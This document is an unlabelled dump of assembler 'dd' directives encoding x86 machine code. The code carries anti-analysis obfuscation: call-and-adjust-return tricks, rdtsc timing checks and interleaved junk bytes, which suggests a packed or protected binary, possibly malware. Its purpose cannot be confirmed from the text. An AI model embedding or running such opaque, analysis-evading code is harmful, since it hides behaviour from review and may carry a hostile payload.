dd 0FD03B00h, 2F83h, 0E7F3BF00h, 8B663C97h, 65E9F8h, 10E80000h
dd 44000000h, 0E2912059h, 0A6AEE932h, 49058F38h, 0FED4079h
dd 686h, 85BD8B00h, 5B061F12h, 27D8D8Bh, 870F061Fh, 6
dd 0EDBD01h, 0E183061Fh, 28840F01h, 89000000h, 1F0A8D9Dh
dd 7DA58306h, 0FE061F02h, 0DFB70FF5h, 7219589h, 880F061Fh
dd 6, 11999D29h, 0E9061Fh, 8D000000h, 22E2ECB5h, 0DE906h
dd 3E720000h, 7085CDECh, 7DF90D8Ah, 8AB42C51h, 0F006ADAh
dd 95FFFBBFh, 61F1D45h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 0D2C35343h, 0D2BDD19Ah, 0AAACFEACh, 3DEF81D5h
dd 0B9229B7Ah, 963h, 0E183BCB7h, 419D89FCh, 0FC061F1Dh
dd 2CC19D8Bh, 0B8061Fh, 66000000h, 8971D3BBh, 1F1B3DBDh
dd 0BA06h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0C434FEC3h, 0E8FC6542h, 0Ch, 86068638h
dd 12492C34h, 0BD09980Ah, 0AD5F0CB3h, 0E8D1C233h, 0E983D003h
dd 6AF47504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 677CC356h, 5751F656h, 5A35CC5Ah
dd 2F4D9D03h, 870F061Fh, 6, 65DBD89h, 880D061Fh, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 28D3C352h, 0AED0ACACh, 23798D89h, 7E9061Fh
dd 0D7000000h, 5F4F2183h, 958B5787h, 61F0B5Dh, 396FBF66h
dd 20C58D8Bh, 8166061Fh, 50B6EFD3h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 6A3D02FDh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 423CC353h, 10E8h, 0B5544100h, 12631EA4h
dd 0DEA3234Ch, 29DD2A6Dh, 919D89FDh, 5F061F1Bh, 78DBD83h
dd 0F00061Fh, 6F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 0B802h, 8D8D0000h, 61F4DB0h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B0C35242h
dd 9D89FA7Eh, 61F0755h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 8D4503C3h, 7B21B7ABh
dd 137DBD83h, 0F00061Fh, 48A84h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 6D40F9C6h
dd 0A559D8Bh, 0BD83061Fh, 61F137Dh, 73840F01h, 0E9000004h
dd 14h, 0ECEE56AFh, 2E773A5Dh, 0A31ADD75h, 0A90AED07h
dd 0D4D153FDh, 137DBD83h, 0F03061Fh, 41786h, 0AE800h, 0EF450000h
dd 0ED34CDB5h, 0AE4AB809h, 19CD9589h, 605F061Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C35343h, 0DA761F0h
dd 7E9h, 0AC7C00h, 3B42CA7Eh, 0B7D98C66h, 4E180EEh, 0D018D89h
dd 0C90A061Fh, 160840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 117A0EC3h, 8B580BCAh
dd 1F0DC185h, 3EC6BB06h, 9D8B1AC7h, 61F0CB5h, 2EC98533h
dd 8166061Fh, 501859F7h, 52505250h, 8B66310Fh, 0F585ADEh
dd 89585A31h, 8B0F2404h, 3, 6AFFB70Fh, 0C0BB6600h, 4E868h
dd 3FF0000h, 9E8001Fh, 8D000000h, 16D04474h, 8E009C72h
dd 9E95250h, 3000000h, 5D3FF9DFh, 0ECDDBF1Bh, 585A310Fh
dd 0BF66505Bh, 448B36DEh, 60570424h, 8E9h, 5F7CD300h, 824E26AAh
dd 8B5F617Eh, 7ABF6600h, 2444891Eh, 0FA8B6604h, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0F032F306h, 8589A1C3h, 61F1F99h, 10A98D09h, 95FF061Fh
dd 61F2DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0E8C35040h, 7A19E9D7h, 89F559C2h, 22B25585h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0BA1877D4h, 139C53D2h, 68F78166h, 1FCE923h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 48A6BEC3h, 384E7CD4h, 858BF967h, 622B24Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1EC35545h, 8B603327h
dd 1F11E59Dh, 138F0F06h, 0E8000000h, 0Dh, 730CBB7Ah, 0F1392302h
dd 0F70BF796h, 0C76159E6h, 1800h, 0FA8B6600h, 0B251B58Bh
dd 6E80622h, 72000000h, 6622233Dh, 5BD98BDDh, 13A1858Bh
dd 8A60061Fh, 5DB58BFCh, 61061F07h, 6A0689h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0EDE555C3h
dd 0DFA4D4F0h, 8BF88B66h, 1F0DC185h, 6800F06h, 0B000000h
dd 1F1EA9BDh, 4468906h, 68F0Fh, 9D2B0000h, 61F0E25h, 0DE95096h
dd 0AD000000h, 358B96BDh, 0F698D1CFh, 4C45E053h, 4DB5FF96h
dd 6A0622B2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 0BBB4C356h, 202870F6h, 4E8h, 1F03FF00h
dd 7E900h, 81610000h, 0EB8EE85Bh, 0BB665067h, 448B0424h
dd 8B660424h, 0E8008BFBh, 11h, 0C05149ADh, 0E7433527h
dd 0C8EEFA94h, 0E06E60BFh, 44895F96h, 52500424h, 0AE9h
dd 86B28B00h, 0F56EEF38h, 0FA9D1EEh, 8E96031h, 8D000000h
dd 169B1099h, 0BFC62C9Bh, 264309F7h
dd 58585A61h, 8DEAD380h, 22B25585h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0C846BB64h
dd 0A9286687h, 0B3901CA3h, 860F502Bh, 0Ah, 505B5260h, 5A310F52h
dd 81906158h, 2A2B36EBh, 6D9D8B67h, 0FF061F16h, 1F2DE195h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 3C5073BAh, 0F1498DC3h, 8A618F06h, 7D85C7FDh
dd 3061F13h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0A96AC351h, 5DB4D9Dh
dd 0E9873A0Dh, 9, 0D74CE6E5h, 0B293A1FDh, 55BD839Eh, 622B2h
dd 3A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 64D265C3h, 60AD14EAh, 890Fh, 8D230000h
dd 61F0705h, 21E961h, 0BD290000h, 61F1A29h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h, 29D7B70Fh
dd 1F2E7D95h, 66606106h, 9D09C88Bh, 61F122Dh, 7DBD8361h
dd 3061F13h, 4B0850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 692F6FC3h, 0BD83E4F7h
dd 622B255h, 83840F00h, 6A000004h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 43A7C355h
dd 0DDF04C19h, 8B66D167h, 55B5FFD8h, 660622B2h, 1FC5CF81h
dd 1BC995FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0FEEE58C3h, 0B737387Eh, 0B58B640Dh
dd 622B249h, 6870Fh, 9D8B0000h, 61F2D11h, 106C7h, 6A0001h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0FC75F7C3h, 0FD8AEDC8h, 24348950h, 0B85BF66h, 0B3BA6660h
dd 6954B883h, 0FF61165Ch, 22B255B5h, 7D9D8B06h, 0FF061F18h
dd 1F162195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0C995292Ah, 8B061F31h, 1F2E7D9Dh
dd 49B58B06h, 0F0622B2h, 189h, 858BFC00h, 61F2FF1h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CCC35040h, 32B8A180h
dd 0CE817h, 1F160000h, 22A18A2Ch, 87B46EACh, 0B5899052h
dd 61F1285h, 0C486895Bh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 9DF9C350h
dd 0CD04C81Dh, 0B5D958Bh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 244F60C3h, 517CEDB9h
dd 0E2BF6660h, 25C08158h, 610C6AF5h, 0E804C283h, 8, 95E7AA56h
dd 677B7A98h, 895BF98Ah, 8DF92050h, 22C79785h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 2EBC8C8Ch, 0E8803AACh, 11h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h
dd 91BBB555h, 0DD95294Bh, 5B061F0Dh, 0B88689h, 14E90000h
dd 5C000000h, 45EF5574h, 0BD6BCAF1h, 0E845B474h, 92A4E9C8h
dd 6A631886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0C00ECD17h, 0B70F603Ah, 59D8BD1h
dd 61061F0Ah, 10E9h, 0B10B6900h, 5C9FEF4Fh, 0D446CF14h
dd 0CBD3F0A2h, 55B5FFB9h, 6A0622B2h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 468FC352h
dd 0FFF5CB94h, 1F2F5595h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0B2B3B5DDh
dd 0BF9D5AFEh, 6CDCC06Eh, 50C6B396h, 0BF665250h, 310FC323h
dd 0EE9h, 59BA1900h, 2872CA8Eh, 5ACF78F5h, 5A042F94h, 6A9658h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 1F91A7C3h, 0FF499CF1h, 22B255B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0AD5EC1C2h
dd 0BBF7C603h, 95FFF9EBh, 61F0E1Dh, 2FD9501h, 0BD83061Fh
dd 61F2C0Dh, 35840F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC76C352h
dd 7398589h, 0E781061Fh, 6D0D8545h, 0D3BB6696h, 66965027h
dd 654BC781h, 0B255B5FFh, 81660622h, 0FFD413C3h, 1F134995h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 41BD8BAEh, 0FF061F0Dh, 22B255B5h, 14E906h
dd 76D70000h, 0FBFD4112h, 0C37D23A6h, 0BD80585Ch, 92E1F3CBh
dd 0BF666681h, 95FFFD37h, 61F1075h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 1EC35242h, 7C09C9E2h, 9BD83ADh
dd 2061F00h, 79840Fh, 0DF8B0000h, 14E9h, 81E1E000h, 127FD9DBh
dd 3044D4D0h, 2559C328h, 6E5095EFh, 51858B90h, 6A061F17h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0E05CC350h, 0A6DBD8F4h, 0F3803103h, 0C658h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 69C35343h
dd 6E8F8h, 20B90000h, 0FA4476B1h, 5340F781h, 0C75F1DC7h
dd 1F129185h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 97E4E3A2h, 0DCE9379Ch
dd 6AFFFFF2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 5BADC353h, 561795F4h, 0BB0B2226h
dd 5F77B527h, 0BBC18BF8h, 6113B0D0h, 19BD858Dh, 8B53061Fh
dd 1F10E19Dh, 50505F06h, 61606052h, 4CC4B5B8h, 310F6105h
dd 0FE860h, 86C10000h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h
dd 0A0BE5FA5h, 614F053Dh, 489585Ah, 6A006A24h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 2B62C357h, 23E0C1ACh, 0EE9AC57h, 69000000h, 981E4BE9h
dd 0DC8E93BDh, 8A30F667h, 0DE9CDh, 0B3030000h, 0D8B27DA0h
dd 8381F9B9h, 1F7CF2Bh, 1F1B1D95h, 6A006A06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 6814C356h, 6FAB858Dh, 9D890623h, 61F2CA5h, 6A05C083h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 9F3AC352h, 109D4A31h, 8B0F50h, 89000000h
dd 95892404h, 61F0641h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0F774F6C3h, 6820F89h
dd 8B000000h, 1F1CF59Dh, 99BD8906h, 6A061F08h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 880FF0h, 0FF000000h, 1F016195h, 74A0BF06h, 8D8D1B84h
dd 622B1F2h, 745BD89h, 0D1FF061Fh, 12E953h, 48310000h
dd 4FA3A2F9h, 0C3EA2DA1h, 2879A163h, 49A22FC2h, 7E95Fh
dd 864E0000h, 941881CCh, 0F5BD83D5h, 1061F0Eh, 59850Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 9D8929C3h, 61F1F25h, 6AFEBF0Fh
dd 0BD896002h, 61F1171h, 118B0Fh, 0CE90000h, 7B000000h
dd 67103562h, 0B3678F2Ah, 61B4B564h, 2EBB6650h, 2404895Ch
dd 95FFF88Ah, 61F2F55h, 0E91CDB80h, 0BDEh, 0E8h, 0ED815D00h
dd 6236FB5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 9FC35040h, 6E94Ah, 69FA0000h, 356A3494h, 1DB13FBFh
dd 51006A10h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 79B509CEh, 8D061F1Ah, 228EE485h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 6C15ACAh, 0F2582DFh, 28Eh, 90DE8B00h, 0BB665152h, 5F5B1FAFh
dd 12E950h, 3FE00000h, 0DF3467FAh, 390CE9A0h, 938B8494h
dd 56B77ADCh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 820FF8D4h, 0Eh, 219D3160h, 81061F30h
dd 0A4B61BF1h, 0FF646133h, 35h, 0E1952900h, 64061F00h
dd 2589h, 0DE8B0000h, 0FFFEB70Fh, 1F102985h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 8944395Ch, 1F1EC595h, 0CBF6606h, 0FFF6A5Ch, 0B5FFDBBFh
dd 61F0F41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0B4C35747h, 1CED95FFh, 0EEE9061Fh, 89000000h, 1F06B995h
dd 699D3306h, 0B0061F31h, 6EE78100h, 0E6648EF4h, 0A8A0F70h
dd 60000000h, 3049B58Bh, 6160061Fh, 5271E461h, 3C5FD98Ah
dd 0BA830F61h, 0E8000000h, 5, 0C387DB17h, 0DF8B666Eh, 0C8B60F5Fh
dd 270BD381h, 6BA114Eh, 9000000h, 1F148985h, 1C18B06h
dd 1F0699BDh, 4E8C106h, 1EB99D09h, 0F766061Fh, 0D59D33E2h
dd 2B061F2Ah, 0FE8B66C8h, 0BF0FD18Bh, 2E9FEh, 0D88B0000h
dd 2AD9858Bh, 0C781061Fh, 23E8AC3Ch, 8907C083h, 1F11D99Dh
dd 0C08306h, 3BF9BF0Fh, 23830FD0h, 56000000h, 11E9h, 0EF30C100h
dd 9BA281B6h, 953B28D8h, 0AA3F9094h, 0E95BE086h, 2Dh, 19D59D8Bh
dd 8D8B061Fh, 61F160Dh, 0F01E183h, 1884h, 83D88B00h, 1F160DA5h
dd 0BF66FE06h, 9589A0D8h, 61F2AD9h, 0E9h, 58B58D00h, 530622EEh
dd 14B18531h, 6A5F061Fh, 9D9D8B00h, 0FF061F1Bh, 1F1D4595h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0CE44BAF2h, 8E9h, 0B4FE0400h, 462A6C97h
dd 873B9D9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 948666C3h, 1E04038Bh, 83A9B7C3h
dd 9D8BFCE1h, 61F2061h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 89609130h, 1F036195h
dd 11E906h, 56910000h, 0C2AAE3E8h, 791D5429h, 335805BCh
dd 6140E111h, 0E853C02Bh, 13h, 83E3CFD7h, 22FA2CDh, 0B1D28087h
dd 0A8DA9290h, 8BBE38FFh, 2B5B5BD8h, 538DBFD2h, 33AD79C5h
dd 3E8D1C2h, 4E983D0h, 0BD31F475h, 61F3129h, 880Dh, 958BFC00h
dd 61F0B5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0A8C35545h, 0B8B723A9h, 20C58D8Bh, 6A061Fh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 79907EC3h, 0E4CC7BE9h, 0FF9442Eh, 683h, 219D8B00h, 50061F2Ch
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 56F844DCh, 0BD8B35F1h, 61F24D1h, 83DF8B66h, 1F078DBDh
dd 840F0006h, 5Fh, 6AD8D89h, 0B8061Fh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 0F846C357h, 9AAF878h, 0FB22369Fh, 0B08D8DF5h, 6A061F4Dh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 9BDBC352h, 44D16373h, 0FFF5625Fh, 83DA8BE1h
dd 1F137DBDh, 840F0006h, 364h, 83DE8B66h, 1F137DBDh, 840F0106h
dd 36Fh, 0BD835B53h, 61F137Dh, 2A860F03h, 81000003h, 0D81B38DFh
dd 6A6074h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 0CAFEA2C3h, 68C0F51h, 89000000h, 1F326DB5h
dd 8C665B06h, 0E180F5D9h, 0B18D2904h, 0E8061F2Ch, 0Bh
dd 8D24A331h, 0CB7A8894h, 6602D466h, 9509D781h, 0FC90A5Bh
dd 0E984h, 858BFC00h, 61F0DC1h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 88C35343h, 0FC9F4F61h, 0C622435Ah
dd 9BD2930h, 33061F17h, 1F2EC985h, 50FC8A06h, 489D98Bh
dd 0FE924h, 88DB0000h, 0BB167B6Bh, 300317F8h, 0CD4951h
dd 6A006A89h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 4E10C350h, 8D669244h, 7E960CEh
dd 4C000000h, 919E0483h, 0BF0F9DD0h, 3FB361CEh, 767E4968h
dd 0D22CBBEAh, 4812B3Bh, 0A885B624h, 0CDBD8B15h, 0FC061F02h
dd 2DE195FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0DCB5FCC3h, 2B999D8Bh, 8589061Fh
dd 622B255h, 5B14CF81h, 9D235B42h, 61F0DF5h, 19FE9h, 0C7816600h
dd 858B14EDh, 622B24Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0B9C35343h, 1E4BE969h, 9E9BD98h, 8D000000h
dd 4199FCB4h, 1233C33Ah, 1800C7h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C71332C3h
dd 51B58BF9h, 2B0622B2h, 1F0775BDh, 0A1858B06h, 6A061F13h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8BEFC350h, 1F1B659Dh, 0E8068906h, 0Ah, 0F8A1401Dh
dd 0DB7C6F0Dh, 0BD8B068Ah, 61F1DA5h, 0C1858B5Fh, 89061F0Dh
dd 0DD8A0446h, 2BBB6696h, 0D98B5031h, 0FFF98B96h, 22B24DB5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0A725E15Ch, 0B59D89B1h, 0E8061F2Eh, 4, 1F03FFh
dd 0FE8B6653h, 0CE8505Fh, 0D6000000h, 9AAE9575h, 0C04D20C5h
dd 8B6F0043h, 448B5FDEh, 8B0424h, 7E9h, 0B50CA500h, 5F8F12ECh
dd 4244489h, 0F3816658h, 858D5467h, 622B255h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 86C35343h, 0FFE6D6D6h
dd 0E7E0E596h, 671BD8Bh, 6E8061Fh, 3E000000h, 65902C1h
dd 12E827h, 3CEB0000h, 4EB3F12Ch, 3BB21E25h, 0E3981457h
dd 0FE5C291Ah, 62DB8166h, 505F5BAEh, 489FB8Bh, 0FEB70F24h
dd 1FC18D29h, 95FF061Fh, 61F2DE1h, 0F74FBF66h, 56006A61h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0D699EBB8h, 7D9D8B77h, 0C7061F0Dh, 1F137D85h, 306h
dd 3D9D8900h, 83061F16h, 22B255BDh, 840F0006h, 5, 1BE9h
dd 0C305000h, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0D7DB589h, 840F061Fh, 6, 13F1BD0Bh
dd 0BD83061Fh, 61F137Dh, 85850F03h, 0F000003h, 0BD83DBB7h
dd 622B255h, 75840F00h, 6A000003h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F148C355h
dd 87037CF7h, 2AC18529h, 0B5FF061Fh, 622B255h, 5BC0B351h
dd 0A7D9D8Bh, 95FF061Fh, 61F1BC9h, 68D0Fh, 9D8B0000h, 61F09A9h
dd 0B249B58Bh, 0BD330622h, 61F19D5h, 106C7h, 6A0001h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0F25B83C3h, 550DAEDEh, 0E985314Eh, 96061F20h, 310F5250h
dd 585A5B57h, 5E950h, 0D3280000h, 962E7163h, 1B85BD8Bh
dd 0B5FF061Fh, 622B255h, 0FF07EF80h, 1F162195h, 68A0F06h
dd 81000000h, 0E87032CFh, 8BF8607Ah, 0B58B61C8h, 622B249h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B6C35242h
dd 46AA7FE1h, 8B36C259h, 1F2FF185h, 3830F06h, 80000000h
dd 868969E7h, 0C4h, 1D899D23h, 958B061Fh, 61F0B5Dh, 2EDF8166h
dd 4C28372h, 2F059D89h, 5089061Fh, 0EE920h, 0BFF30000h
dd 3D0BB525h, 0D4ECB82h, 45ABCBF5h, 0C797858Dh, 5F570622h
dd 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0A294EFC3h, 2AED8D89h, 6A061Fh
dd 0FFF88B66h, 22B255B5h, 4D9D8906h, 0FF061F06h, 1F2F5595h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 40DD71Ch, 0CE85070h, 95000000h, 254A6968h
dd 0B2705D92h, 66C7628Dh, 895FDA8Bh, 0BD8B2434h, 61F0F35h
dd 0B255B5FFh, 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0EAD3E1C3h, 37F381C9h, 95FF2788h
dd 61F0E1Dh, 83D9B70Fh, 1F2C0DBDh, 840F0006h, 61h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B1C35343h, 0F9B531AFh
dd 50061F16h, 7E8h, 34DAD600h, 0E49D3600h, 895FFB8Bh, 6A2434h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 9EA282C3h, 399209E7h, 95890AE2h, 61F11FDh, 55B5FFFCh
dd 6A0622B2h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 3A79C350h, 0B8D2514Bh, 9B83D781h
dd 0DA8B582Fh, 134995FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0E5E9DBC3h, 58A12009h
dd 8B270C4Fh, 55B5FFFBh, 6A0622B2h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0C7D4C353h
dd 8D898F9Bh, 61F2DC1h, 107595FFh, 6A061Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0DFBD2C3h
dd 13E97FE0h, 6B000000h, 0AAE19B91h, 0E4415BC8h, 63AE3C4Dh
dd 108AF5A2h, 0BD83C522h, 61F0009h, 3D840F02h, 8B000000h
dd 1F175185h, 4810F06h, 66000000h, 0C65200BFh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0E1FAE9C3h, 89EB885Bh, 9D0B70C8h, 61F2D1Dh, 129185C7h
dd 61Fh, 0BD030000h, 61F0E45h, 0FFF594E9h, 53006AFFh, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0D25BA30Eh, 699D0BCAh, 8B061F15h, 50006AC1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 228DF298h
dd 0DFD8D01h, 858D061Fh, 61F19BDh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0FEC35242h, 0E8C695DDh, 13h
dd 51F72CDAh, 0F94CB0E6h, 0D439CC9Eh, 7DE6B4FFh, 0FDC2628h
dd 8B5FDEB7h, 1F15959Dh, 52509006h, 5B5B5051h, 8B66310Fh
dd 50585AFAh, 8B90FA8Bh, 1F2E699Dh, 66006A06h, 45F7F381h
dd 0BD8B006Ah, 61F2AFDh, 7D73858Dh, 0B5010623h, 61F2081h
dd 8905C083h, 1F0DA59Dh, 0E1BB9006h, 50393C2Fh, 0DE9h
dd 74930300h, 711A1B32h, 6481A047h, 2B907FD3h, 1F022D9Dh
dd 0A5BD8906h, 6A061F30h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 367B4BB4h
dd 8B006A36h, 1F1701BDh, 6195FF06h, 56061F01h, 19BB6660h
dd 0C6B70FA3h, 8F0F5B61h, 6, 10BD9589h, 8D8D061Fh, 622B1F2h
dd 68B0Fh, 9D8B0000h, 61F2AB1h, 6AD1FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0BE4970C3h
dd 0B0416FC8h, 0BD83A011h, 61F0EF5h, 0B0850F01h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 0FB6C353h, 688h, 11BD8900h, 6A061F1Bh, 52006A02h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0F6D4CA80h, 328D82B7h, 0CF99D8Bh, 5090061Fh, 96BF6652h
dd 51310F94h, 310F5250h, 5A5B585Ah, 8B665058h, 6A90F8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 3880EDC3h, 0FFBF6ED9h, 1F2F5595h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9C3E248h
dd 0DABh, 0E8h, 0ED815D00h, 6237D7Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 10C35242h, 12F24723h, 5C5FDE05h
dd 0EF8060D4h, 9185292Eh, 61061F13h, 2B859D8Bh, 8B66061Fh
dd 0E4858DF9h, 6A06228Eh, 3E85600h, 20000000h, 895EC35Eh
